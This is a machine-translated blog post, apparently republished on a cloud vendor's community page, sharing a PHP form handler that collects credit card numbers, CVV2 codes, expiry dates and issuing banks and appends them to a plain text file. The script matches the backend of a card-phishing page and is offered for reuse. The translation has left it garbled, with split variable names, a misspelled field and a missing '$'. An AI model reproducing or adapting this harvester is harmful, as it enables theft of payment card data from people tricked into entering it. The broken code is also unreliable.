Php code collects the form content and writes the code into the file

Source: Internet
Author: User
Two days ago, a friend asked me to help him write a simple PHP code that collects form content and writes files. due to my recent busy work, I have no time to write it, today, I finally took some time to complete this task. next I will open-source the relevant code for your reference. As for the form content, I will not talk about it here, mainly form action = "getpost. php ", that is, write getpost. php file. Next, paste the content in this file.

The code is as follows:


// Define the form content to be collected
$ Cardnum = $ _ POST ['cardnnum'];
$ Cvv2 = $ _ POST ['cvv2'];
$ Month = $ _ POST ['month'];
$ Year = $ _ POST ['Year'];
$ Cardbank = $ _ POST ['cardbank '];
// Define the format of the collected content
$ Content = "Credit Card Number :". $ cardnum. ", Card Verification Number :". $ cvv2. ", Card Expiry Date :". $ month. "/year :". $ year. ", IssuingBank :". cardbank;
// Define the file storage location
$ Compile_dir = "./txt.txt ";
// Below is the written PHP code
$ File = fopen ($ compile_dir, "a + ");
Fwrite ($ file, $ content );
Fclose ($ file );
?>


At the very beginning, we will create txt.txt in the current directory and write the collected information into this file. The effect is still very good.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.